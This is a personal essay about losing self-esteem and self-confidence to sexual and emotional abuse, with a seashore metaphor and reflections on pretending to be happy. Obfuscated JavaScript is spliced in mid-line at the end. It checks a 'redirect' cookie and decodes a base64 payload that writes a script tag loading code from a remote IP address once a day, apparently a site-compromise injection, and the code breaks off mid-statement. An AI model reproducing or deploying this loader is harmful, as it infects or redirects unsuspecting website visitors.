The Great Pretender

By: Bonnie
Robbery of self-esteem and self-confidence should be a crime! These are stolen when sexual and emotional abuse happens. It can never be replaced. It’s not like a medal. Lost medals can be found or replaced – this is gone forever.
Think of standing on a seashore and marking or engraving a particular rock, then throwing it into the sea. Does it come back to you? Or is it lost forever? Actually that is somewhere.
If ever the rock were to wash up on the shore and you see it, you can identify it by name because of the markings. If someone else found it, would they be honest enough to find you and return it to you? Or would they steal your name and pretend to be you? How wonderful it would be for you to find it first!
I can remember a particular father who was discontented with one of his sons. While one of them had become a priest, the other was 40 years plus and still in the same job he had when he was 18. The father once shouted at him saying, “It makes me wonder what you’re going to be when you grow up!”
At times I feel that way, wondering what I will ever be – other than taking up space. I phone that isn’t ringing, an empty post office box (other than junk mail), a silent doorbell.
Threats made to me by past perpetrators fill my life but not my empty heart. “Pretend to be happy when sad.” “When you’re so empty, look so good.” How can you look at a person and tell whether they are really sad? You CANNOT!
This is what a Great Pretender can do to mess up your life. They can pretend to be something that they are not. If I could Pretend to have self esteem, that’s the very first thing I would want back! ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘